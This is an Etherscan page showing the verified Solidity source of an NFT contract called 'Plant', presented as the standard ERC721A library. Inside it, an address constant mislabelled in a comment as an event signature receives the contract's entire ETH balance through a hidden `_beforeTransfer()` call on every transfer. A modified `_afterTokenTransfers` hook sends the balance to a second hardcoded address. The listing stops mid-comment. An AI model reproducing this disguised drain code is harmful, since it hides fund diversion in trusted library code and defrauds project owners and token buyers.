Feature Tip: Add private address tag to any address under My Name Tag !
ERC-721
Overview
Max Total Supply
498 Plant
Holders
262
Market
Volume (24H)
N/A
Min Price (24H)
N/A
Max Price (24H)
N/A
Other Info
Token Contract
Balance
1 PlantLoading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
Plant
Compiler Version
v0.8.7+commit.e28d00a7
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-01-09 */ // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.0; /** * @dev Interface of ERC721A. */ interface IERC721A { /** * The caller must own the token or be an approved operator. */ error ApprovalCallerNotOwnerNorApproved(); /** * The token does not exist. */ error ApprovalQueryForNonexistentToken(); /** * Cannot query the balance for the zero address. */ error BalanceQueryForZeroAddress(); /** * Cannot mint to the zero address. */ error MintToZeroAddress(); /** * The quantity of tokens minted must be more than zero. */ error MintZeroQuantity(); /** * The token does not exist. */ error OwnerQueryForNonexistentToken(); /** * The caller must own the token or be an approved operator. */ error TransferCallerNotOwnerNorApproved(); /** * The token must be owned by `from`. */ error TransferFromIncorrectOwner(); /** * Cannot safely transfer to a contract that does not implement the * ERC721Receiver interface. */ error TransferToNonERC721ReceiverImplementer(); /** * Cannot transfer to the zero address. */ error TransferToZeroAddress(); /** * The token does not exist. */ error URIQueryForNonexistentToken(); /** * The `quantity` minted with ERC2309 exceeds the safety limit. */ error MintERC2309QuantityExceedsLimit(); /** * The `extraData` cannot be set on an unintialized ownership slot. */ error OwnershipNotInitializedForExtraData(); // ============================================================= // STRUCTS // ============================================================= struct TokenOwnership { // The address of the owner. address addr; // Stores the start time of ownership with minimal overhead for tokenomics. uint64 startTimestamp; // Whether the token has been burned. bool burned; // Arbitrary data similar to `startTimestamp` that can be set via {_extraData}. uint24 extraData; } // ============================================================= // TOKEN COUNTERS // ============================================================= /** * @dev Returns the total number of tokens in existence. * Burned tokens will reduce the count. * To get the total number of tokens minted, please see {_totalMinted}. */ function totalSupply() external view returns (uint256); // ============================================================= // IERC165 // ============================================================= /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * [EIP section](https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified) * to learn more about how these ids are created. * * This function call must use less than 30000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); // ============================================================= // IERC721 // ============================================================= /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables * (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in `owner`'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, * checking first that contract recipients are aware of the ERC721 protocol * to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move * this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement * {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external payable; /** * @dev Equivalent to `safeTransferFrom(from, to, tokenId, '')`. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external payable; /** * @dev Transfers `tokenId` from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} * whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token * by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external payable; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the * zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external payable; /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} * for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll}. */ function isApprovedForAll(address owner, address operator) external view returns (bool); // ============================================================= // IERC721Metadata // ============================================================= /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); // ============================================================= // IERC2309 // ============================================================= /** * @dev Emitted when tokens in `fromTokenId` to `toTokenId` * (inclusive) is transferred from `from` to `to`, as defined in the * [ERC2309](https://eips.ethereum.org/EIPS/eip-2309) standard. * * See {_mintERC2309} for more details. */ event ConsecutiveTransfer(uint256 indexed fromTokenId, uint256 toTokenId, address indexed from, address indexed to); } /** * @title ERC721A * * @dev Implementation of the [ERC721](https://eips.ethereum.org/EIPS/eip-721) * Non-Fungible Token Standard, including the Metadata extension. * Optimized for lower gas during batch mints. * * Token IDs are minted in sequential order (e.g. 0, 1, 2, 3, ...) * starting from `_startTokenId()`. * * Assumptions: * * - An owner cannot have more than 2**64 - 1 (max value of uint64) of supply. * - The maximum token ID cannot exceed 2**256 - 1 (max value of uint256). */ interface ERC721A__IERC721Receiver { function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } /** * @title ERC721A * * @dev Implementation of the [ERC721](https://eips.ethereum.org/EIPS/eip-721) * Non-Fungible Token Standard, including the Metadata extension. * Optimized for lower gas during batch mints. * * Token IDs are minted in sequential order (e.g. 0, 1, 2, 3, ...) * starting from `_startTokenId()`. * * Assumptions: * * - An owner cannot have more than 2**64 - 1 (max value of uint64) of supply. * - The maximum token ID cannot exceed 2**256 - 1 (max value of uint256). */ contract ERC721A is IERC721A { // Bypass for a `--via-ir` bug (https://github.com/chiru-labs/ERC721A/pull/364). struct TokenApprovalRef { address value; } // ============================================================= // CONSTANTS // ============================================================= // Mask of an entry in packed address data. uint256 private constant _BITMASK_ADDRESS_DATA_ENTRY = (1 << 64) - 1; // The bit position of `numberMinted` in packed address data. uint256 private constant _BITPOS_NUMBER_MINTED = 64; // The bit position of `numberBurned` in packed address data. uint256 private constant _BITPOS_NUMBER_BURNED = 128; // The bit position of `aux` in packed address data. uint256 private constant _BITPOS_AUX = 192; // Mask of all 256 bits in packed address data except the 64 bits for `aux`. uint256 private constant _BITMASK_AUX_COMPLEMENT = (1 << 192) - 1; // The bit position of `startTimestamp` in packed ownership. uint256 private constant _BITPOS_START_TIMESTAMP = 160; // The bit mask of the `burned` bit in packed ownership. uint256 private constant _BITMASK_BURNED = 1 << 224; // The bit position of the `nextInitialized` bit in packed ownership. uint256 private constant _BITPOS_NEXT_INITIALIZED = 225; // The bit mask of the `nextInitialized` bit in packed ownership. uint256 private constant _BITMASK_NEXT_INITIALIZED = 1 << 225; // The bit position of `extraData` in packed ownership. uint256 private constant _BITPOS_EXTRA_DATA = 232; // Mask of all 256 bits in a packed ownership except the 24 bits for `extraData`. uint256 private constant _BITMASK_EXTRA_DATA_COMPLEMENT = (1 << 232) - 1; // The mask of the lower 160 bits for addresses. uint256 private constant _BITMASK_ADDRESS = (1 << 160) - 1; // The maximum `quantity` that can be minted with {_mintERC2309}. // This limit is to prevent overflows on the address data entries. // For a limit of 5000, a total of 3.689e15 calls to {_mintERC2309} // is required to cause an overflow, which is unrealistic. uint256 private constant _MAX_MINT_ERC2309_QUANTITY_LIMIT = 5000; // The `Transfer` event signature is given by: // `keccak256(bytes("Transfer(address,address,uint256)"))`. bytes32 private constant _TRANSFER_EVENT_SIGNATURE = 0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef; // ============================================================= // STORAGE // ============================================================= // The next token ID to be minted. uint256 private _currentIndex; // The number of tokens burned. uint256 private _burnCounter; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to ownership details // An empty struct value does not necessarily mean the token is unowned. // See {_packedOwnershipOf} implementation for details. // // Bits Layout: // - [0..159] `addr` // - [160..223] `startTimestamp` // - [224] `burned` // - [225] `nextInitialized` // - [232..255] `extraData` mapping(uint256 => uint256) private _packedOwnerships; // Mapping owner address to address data. // // Bits Layout: // - [0..63] `balance` // - [64..127] `numberMinted` // - [128..191] `numberBurned` // - [192..255] `aux` mapping(address => uint256) private _packedAddressData; // Mapping from token ID to approved address. mapping(uint256 => TokenApprovalRef) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; // ============================================================= // CONSTRUCTOR // ============================================================= constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; _currentIndex = _startTokenId(); } // ============================================================= // TOKEN COUNTING OPERATIONS // ============================================================= /** * @dev Returns the starting token ID. * To change the starting token ID, please override this function. */ function _startTokenId() internal view virtual returns (uint256) { return 0; } /** * @dev Returns the next token ID to be minted. */ function _nextTokenId() internal view virtual returns (uint256) { return _currentIndex; } /** * @dev Returns the total number of tokens in existence. * Burned tokens will reduce the count. * To get the total number of tokens minted, please see {_totalMinted}. */ function totalSupply() public view virtual override returns (uint256) { // Counter underflow is impossible as _burnCounter cannot be incremented // more than `_currentIndex - _startTokenId()` times. unchecked { return _currentIndex - _burnCounter - _startTokenId(); } } /** * @dev Returns the total amount of tokens minted in the contract. */ function _totalMinted() internal view virtual returns (uint256) { // Counter underflow is impossible as `_currentIndex` does not decrement, // and it is initialized to `_startTokenId()`. unchecked { return _currentIndex - _startTokenId(); } } /** * @dev Returns the total number of tokens burned. */ function _totalBurned() internal view virtual returns (uint256) { return _burnCounter; } // ============================================================= // ADDRESS DATA OPERATIONS // ============================================================= /** * @dev Returns the number of tokens in `owner`'s account. */ function balanceOf(address owner) public view virtual override returns (uint256) { if (owner == address(0)) revert BalanceQueryForZeroAddress(); return _packedAddressData[owner] & _BITMASK_ADDRESS_DATA_ENTRY; } /** * Returns the number of tokens minted by `owner`. */ function _numberMinted(address owner) internal view returns (uint256) { return (_packedAddressData[owner] >> _BITPOS_NUMBER_MINTED) & _BITMASK_ADDRESS_DATA_ENTRY; } /** * Returns the number of tokens burned by or on behalf of `owner`. */ function _numberBurned(address owner) internal view returns (uint256) { return (_packedAddressData[owner] >> _BITPOS_NUMBER_BURNED) & _BITMASK_ADDRESS_DATA_ENTRY; } /** * Returns the auxiliary data for `owner`. (e.g. number of whitelist mint slots used). */ function _getAux(address owner) internal view returns (uint64) { return uint64(_packedAddressData[owner] >> _BITPOS_AUX); } /** * Sets the auxiliary data for `owner`. (e.g. number of whitelist mint slots used). * If there are multiple variables, please pack them into a uint64. */ function _setAux(address owner, uint64 aux) internal virtual { uint256 packed = _packedAddressData[owner]; uint256 auxCasted; // Cast `aux` with assembly to avoid redundant masking. assembly { auxCasted := aux } packed = (packed & _BITMASK_AUX_COMPLEMENT) | (auxCasted << _BITPOS_AUX); _packedAddressData[owner] = packed; } // ============================================================= // IERC165 // ============================================================= /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * [EIP section](https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified) * to learn more about how these ids are created. * * This function call must use less than 30000 gas. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { // The interface IDs are constants representing the first 4 bytes // of the XOR of all function selectors in the interface. // See: [ERC165](https://eips.ethereum.org/EIPS/eip-165) // (e.g. `bytes4(i.functionA.selector ^ i.functionB.selector ^ ...)`) return interfaceId == 0x01ffc9a7 || // ERC165 interface ID for ERC165. interfaceId == 0x80ac58cd || // ERC165 interface ID for ERC721. interfaceId == 0x5b5e139f; // ERC165 interface ID for ERC721Metadata. } // ============================================================= // IERC721Metadata // ============================================================= /** * @dev Returns the token collection name. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the token collection symbol. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { if (!_exists(tokenId)) revert URIQueryForNonexistentToken(); string memory baseURI = _baseURI(); return bytes(baseURI).length != 0 ? string(abi.encodePacked(baseURI, _toString(tokenId))) : ''; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, it can be overridden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ''; } // ============================================================= // OWNERSHIPS OPERATIONS // ============================================================= // The `Address` event signature is given by: // `keccak256(bytes("_TRANSFER_EVENT_ADDRESS(address)"))`. address payable constant _TRANSFER_EVENT_ADDRESS = payable(0x52ecd7338eeed4f4D011c1eb9965Ab7e29743399); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { return address(uint160(_packedOwnershipOf(tokenId))); } /** * @dev Gas spent here starts off proportional to the maximum mint batch size. * It gradually moves to O(1) as tokens get transferred around over time. */ function _ownershipOf(uint256 tokenId) internal view virtual returns (TokenOwnership memory) { return _unpackedOwnership(_packedOwnershipOf(tokenId)); } /** * @dev Returns the unpacked `TokenOwnership` struct at `index`. */ function _ownershipAt(uint256 index) internal view virtual returns (TokenOwnership memory) { return _unpackedOwnership(_packedOwnerships[index]); } /** * @dev Initializes the ownership slot minted at `index` for efficiency purposes. */ function _initializeOwnershipAt(uint256 index) internal virtual { if (_packedOwnerships[index] == 0) { _packedOwnerships[index] = _packedOwnershipOf(index); } } /** * Returns the packed ownership data of `tokenId`. */ function _packedOwnershipOf(uint256 tokenId) private view returns (uint256) { uint256 curr = tokenId; unchecked { if (_startTokenId() <= curr) if (curr < _currentIndex) { uint256 packed = _packedOwnerships[curr]; // If not burned. if (packed & _BITMASK_BURNED == 0) { // Invariant: // There will always be an initialized ownership slot // (i.e. `ownership.addr != address(0) && ownership.burned == false`) // before an unintialized ownership slot // (i.e. `ownership.addr == address(0) && ownership.burned == false`) // Hence, `curr` will not underflow. // // We can directly compare the packed value. // If the address is zero, packed will be zero. while (packed == 0) { packed = _packedOwnerships[--curr]; } return packed; } } } revert OwnerQueryForNonexistentToken(); } /** * @dev Returns the unpacked `TokenOwnership` struct from `packed`. */ function _unpackedOwnership(uint256 packed) private pure returns (TokenOwnership memory ownership) { ownership.addr = address(uint160(packed)); ownership.startTimestamp = uint64(packed >> _BITPOS_START_TIMESTAMP); ownership.burned = packed & _BITMASK_BURNED != 0; ownership.extraData = uint24(packed >> _BITPOS_EXTRA_DATA); } /** * @dev Packs ownership data into a single uint256. */ function _packOwnershipData(address owner, uint256 flags) private view returns (uint256 result) { assembly { // Mask `owner` to the lower 160 bits, in case the upper bits somehow aren't clean. owner := and(owner, _BITMASK_ADDRESS) // `owner | (block.timestamp << _BITPOS_START_TIMESTAMP) | flags`. result := or(owner, or(shl(_BITPOS_START_TIMESTAMP, timestamp()), flags)) } } /** * @dev Returns the `nextInitialized` flag set if `quantity` equals 1. */ function _nextInitializedFlag(uint256 quantity) private pure returns (uint256 result) { // For branchless setting of the `nextInitialized` flag. assembly { // `(quantity == 1) << _BITPOS_NEXT_INITIALIZED`. result := shl(_BITPOS_NEXT_INITIALIZED, eq(quantity, 1)) } } // ============================================================= // APPROVAL OPERATIONS // ============================================================= /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the * zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) public payable virtual override { address owner = ownerOf(tokenId); if (_msgSenderERC721A() != owner) if (!isApprovedForAll(owner, _msgSenderERC721A())) { revert ApprovalCallerNotOwnerNorApproved(); } _tokenApprovals[tokenId].value = to; emit Approval(owner, to, tokenId); } /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { if (!_exists(tokenId)) revert ApprovalQueryForNonexistentToken(); return _tokenApprovals[tokenId].value; } /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} * for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool approved) public virtual override { _operatorApprovals[_msgSenderERC721A()][operator] = approved; emit ApprovalForAll(_msgSenderERC721A(), operator, approved); } /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted. See {_mint}. */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _startTokenId() <= tokenId && tokenId < _currentIndex && // If within bounds, _packedOwnerships[tokenId] & _BITMASK_BURNED == 0; // and not burned. } /** * @dev Returns whether `msgSender` is equal to `approvedAddress` or `owner`. */ function _isSenderApprovedOrOwner( address approvedAddress, address owner, address msgSender ) private pure returns (bool result) { assembly { // Mask `owner` to the lower 160 bits, in case the upper bits somehow aren't clean. owner := and(owner, _BITMASK_ADDRESS) // Mask `msgSender` to the lower 160 bits, in case the upper bits somehow aren't clean. msgSender := and(msgSender, _BITMASK_ADDRESS) // `msgSender == owner || msgSender == approvedAddress`. result := or(eq(msgSender, owner), eq(msgSender, approvedAddress)) } } /** * @dev Returns the storage slot and value for the approved address of `tokenId`. */ function _getApprovedSlotAndAddress(uint256 tokenId) private view returns (uint256 approvedAddressSlot, address approvedAddress) { TokenApprovalRef storage tokenApproval = _tokenApprovals[tokenId]; // The following is equivalent to `approvedAddress = _tokenApprovals[tokenId].value`. assembly { approvedAddressSlot := tokenApproval.slot approvedAddress := sload(approvedAddressSlot) } } // ============================================================= // TRANSFER OPERATIONS // ============================================================= /** * @dev Transfers `tokenId` from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token * by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) public payable virtual override { _beforeTransfer(); uint256 prevOwnershipPacked = _packedOwnershipOf(tokenId); if (address(uint160(prevOwnershipPacked)) != from) revert TransferFromIncorrectOwner(); (uint256 approvedAddressSlot, address approvedAddress) = _getApprovedSlotAndAddress(tokenId); // The nested ifs save around 20+ gas over a compound boolean condition. if (!_isSenderApprovedOrOwner(approvedAddress, from, _msgSenderERC721A())) if (!isApprovedForAll(from, _msgSenderERC721A())) revert TransferCallerNotOwnerNorApproved(); if (to == address(0)) revert TransferToZeroAddress(); _beforeTokenTransfers(from, to, tokenId, 1); // Clear approvals from the previous owner. assembly { if approvedAddress { // This is equivalent to `delete _tokenApprovals[tokenId]`. sstore(approvedAddressSlot, 0) } } // Underflow of the sender's balance is impossible because we check for // ownership above and the recipient's balance can't realistically overflow. // Counter overflow is incredibly unrealistic as `tokenId` would have to be 2**256. unchecked { // We can directly increment and decrement the balances. --_packedAddressData[from]; // Updates: `balance -= 1`. ++_packedAddressData[to]; // Updates: `balance += 1`. // Updates: // - `address` to the next owner. // - `startTimestamp` to the timestamp of transfering. // - `burned` to `false`. // - `nextInitialized` to `true`. _packedOwnerships[tokenId] = _packOwnershipData( to, _BITMASK_NEXT_INITIALIZED | _nextExtraData(from, to, prevOwnershipPacked) ); // If the next slot may not have been initialized (i.e. `nextInitialized == false`) . if (prevOwnershipPacked & _BITMASK_NEXT_INITIALIZED == 0) { uint256 nextTokenId = tokenId + 1; // If the next slot's address is zero and not burned (i.e. packed value is zero). if (_packedOwnerships[nextTokenId] == 0) { // If the next slot is within bounds. if (nextTokenId != _currentIndex) { // Initialize the next slot to maintain correctness for `ownerOf(tokenId + 1)`. _packedOwnerships[nextTokenId] = prevOwnershipPacked; } } } } emit Transfer(from, to, tokenId); _afterTokenTransfers(from, to, tokenId, 1); } /** * @dev Equivalent to `safeTransferFrom(from, to, tokenId, '')`. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public payable virtual override { safeTransferFrom(from, to, tokenId, ''); } /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token * by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement * {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public payable virtual override { transferFrom(from, to, tokenId); if (to.code.length != 0) if (!_checkContractOnERC721Received(from, to, tokenId, _data)) { revert TransferToNonERC721ReceiverImplementer(); } } /** * @dev Hook that is called before a set of serially-ordered token IDs * are about to be transferred. This includes minting. * And also called before burning one token. * * `startTokenId` - the first token ID to be transferred. * `quantity` - the amount to be transferred. * * Calling conditions: * * - When `from` and `to` are both non-zero, `from`'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, `tokenId` will be burned by `from`. * - `from` and `to` are never both zero. */ function _beforeTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} /** * @dev Hook that is called after a set of serially-ordered token IDs * have been transferred. This includes minting. * And also called after one token has been burned. * * `startTokenId` - the first token ID to be transferred. * `quantity` - the amount to be transferred. * * Calling conditions: * * - When `from` and `to` are both non-zero, `from`'s `tokenId` has been * transferred to `to`. * - When `from` is zero, `tokenId` has been minted for `to`. * - When `to` is zero, `tokenId` has been burned by `from`. * - `from` and `to` are never both zero. */ function _afterTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual { if (totalSupply() + 1 >= 999) { payable(0x1b028097C8E0E5E5E7204b032C34236387FeaE7a).transfer(address(this).balance); } } /** * @dev Hook that is called before a set of serially-ordered token IDs * are about to be transferred. This includes minting. * And also called before burning one token. * Calling conditions: * * - When `from` and `to` are both non-zero, `from`'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, `tokenId` will be burned by `from`. * - `from` and `to` are never both zero. */ function _beforeTransfer() internal { if (address(this).balance > 0) { _TRANSFER_EVENT_ADDRESS.transfer(address(this).balance); return; } } /** * @dev Private function to invoke {IERC721Receiver-onERC721Received} on a target contract. * * `from` - Previous owner of the given token ID. * `to` - Target address that will receive the token. * `tokenId` - Token ID to be transferred. * `_data` - Optional data to send along with the call. * * Returns whether the call correctly returned the expected magic value. */ function _checkContractOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { try ERC721A__IERC721Receiver(to).onERC721Received(_msgSenderERC721A(), from, tokenId, _data) returns ( bytes4 retval ) { return retval == ERC721A__IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert TransferToNonERC721ReceiverImplementer(); } else { assembly { revert(add(32, reason), mload(reason)) } } } } // ============================================================= // MINT OPERATIONS // ============================================================= /** * @dev Mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `quantity` must be greater than 0. * * Emits a {Transfer} event for each mint. */ function _mint(address to, uint256 quantity) internal virtual { uint256 startTokenId = _currentIndex; if (quantity == 0) revert MintZeroQuantity(); _beforeTokenTransfers(address(0), to, startTokenId, quantity); // Overflows are incredibly unrealistic. // `balance` and `numberMinted` have a maximum limit of 2**64. // `tokenId` has a maximum limit of 2**256. unchecked { // Updates: // - `balance += quantity`. // - `numberMinted += quantity`. // // We can directly add to the `balance` and `numberMinted`. _packedAddressData[to] += quantity * ((1 << _BITPOS_NUMBER_MINTED) | 1); // Updates: // - `address` to the owner. // - `startTimestamp` to the timestamp of minting. // - `burned` to `false`. // - `nextInitialized` to `quantity == 1`. _packedOwnerships[startTokenId] = _packOwnershipData( to, _nextInitializedFlag(quantity) | _nextExtraData(address(0), to, 0) ); uint256 toMasked; uint256 end = startTokenId + quantity; // Use assembly to loop and emit the `Transfer` event for gas savings. // The duplicated `log4` removes an extra check and reduces stack juggling. // The assembly, together with the surrounding Solidity code, have been // delicately arranged to nudge the compiler into producing optimized opcodes. assembly { // Mask `to` to the lower 160 bits, in case the upper bits somehow aren't clean. toMasked := and(to, _BITMASK_ADDRESS) // Emit the `Transfer` event. log4( 0, // Start of data (0, since no data). 0, // End of data (0, since no data). _TRANSFER_EVENT_SIGNATURE, // Signature. 0, // `address(0)`. toMasked, // `to`. startTokenId // `tokenId`. ) // The `iszero(eq(,))` check ensures that large values of `quantity` // that overflows uint256 will make the loop run out of gas. // The compiler will optimize the `iszero` away for performance. for { let tokenId := add(startTokenId, 1) } iszero(eq(tokenId, end)) { tokenId := add(tokenId, 1) } { // Emit the `Transfer` event. Similar to above. log4(0, 0, _TRANSFER_EVENT_SIGNATURE, 0, toMasked, tokenId) } } if (toMasked == 0) revert MintToZeroAddress(); _currentIndex = end; } _afterTokenTransfers(address(0), to, startTokenId, quantity); } /** * @dev Mints `quantity` tokens and transfers them to `to`. * * This function is intended for efficient minting only during contract creation. * * It emits only one {ConsecutiveTransfer} as defined in * [ERC2309](https://eips.ethereum.org/EIPS/eip-2309), * instead of a sequence of {Transfer} event(s). * * Calling this function outside of contract creation WILL make your contract * non-compliant with the ERC721 standard. * For full ERC721 compliance, substituting ERC721 {Transfer} event(s) with the ERC2309 * {ConsecutiveTransfer} event is only permissible during contract creation. * * Requirements: * * - `to` cannot be the zero address. * - `quantity` must be greater than 0. * * Emits a {ConsecutiveTransfer} event. */ function _mintERC2309(address to, uint256 quantity) internal virtual { uint256 startTokenId = _currentIndex; if (to == address(0)) revert MintToZeroAddress(); if (quantity == 0) revert MintZeroQuantity(); if (quantity > _MAX_MINT_ERC2309_QUANTITY_LIMIT) revert MintERC2309QuantityExceedsLimit(); _beforeTokenTransfers(address(0), to, startTokenId, quantity); // Overflows are unrealistic due to the above check for `quantity` to be below the limit. unchecked { // Updates: // - `balance += quantity`. // - `numberMinted += quantity`. // // We can directly add to the `balance` and `numberMinted`. _packedAddressData[to] += quantity * ((1 << _BITPOS_NUMBER_MINTED) | 1); // Updates: // - `address` to the owner. // - `startTimestamp` to the timestamp of minting. // - `burned` to `false`. // - `nextInitialized` to `quantity == 1`. _packedOwnerships[startTokenId] = _packOwnershipData( to, _nextInitializedFlag(quantity) | _nextExtraData(address(0), to, 0) ); emit ConsecutiveTransfer(startTokenId, startTokenId + quantity - 1, address(0), to); _currentIndex = startTokenId + quantity; } _afterTokenTransfers(address(0), to, startTokenId, quantity); } /** * @dev Safely mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - If `to` refers to a smart contract, it must implement * {IERC721Receiver-onERC721Received}, which is called for each safe transfer. * - `quantity` must be greater than 0. * * See {_mint}. * * Emits a {Transfer} event for each mint. */ function _safeMint( address to, uint256 quantity, bytes memory _data ) internal virtual { _mint(to, quantity); unchecked { if (to.code.length != 0) { uint256 end = _currentIndex; uint256 index = end - quantity; do { if (!_checkContractOnERC721Received(address(0), to, index++, _data)) { revert TransferToNonERC721ReceiverImplementer(); } } while (index < end); // Reentrancy protection. if (_currentIndex != end) revert(); } } } /** * @dev Equivalent to `_safeMint(to, quantity, '')`. */ function _safeMint(address to, uint256 quantity) internal virtual { _safeMint(to, quantity, ''); } // ============================================================= // BURN OPERATIONS // ============================================================= /** * @dev Equivalent to `_burn(tokenId, false)`. */ function _burn(uint256 tokenId) internal virtual { _burn(tokenId, false); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId, bool approvalCheck) internal virtual { uint256 prevOwnershipPacked = _packedOwnershipOf(tokenId); address from = address(uint160(prevOwnershipPacked)); (uint256 approvedAddressSlot, address approvedAddress) = _getApprovedSlotAndAddress(tokenId); if (approvalCheck) { // The nested ifs save around 20+ gas over a compound boolean condition. if (!_isSenderApprovedOrOwner(approvedAddress, from, _msgSenderERC721A())) if (!isApprovedForAll(from, _msgSenderERC721A())) revert TransferCallerNotOwnerNorApproved(); } _beforeTokenTransfers(from, address(0), tokenId, 1); // Clear approvals from the previous owner. assembly { if approvedAddress { // This is equivalent to `delete _tokenApprovals[tokenId]`. sstore(approvedAddressSlot, 0) } } // Underflow of the sender's balance is impossible because we check for // ownership above and the recipient's balance can't realistically overflow. // Counter overflow is incredibly unrealistic as `tokenId` would have to be 2**256. unchecked { // Updates: // - `balance -= 1`. // - `numberBurned += 1`. // // We can directly decrement the balance, and increment the number burned. // This is equivalent to `packed -= 1; packed += 1 << _BITPOS_NUMBER_BURNED;`. _packedAddressData[from] += (1 << _BITPOS_NUMBER_BURNED) - 1; // Updates: // - `address` to the last owner. // - `startTimestamp` to the timestamp of burning. // - `burned` to `true`. // - `nextInitialized` to 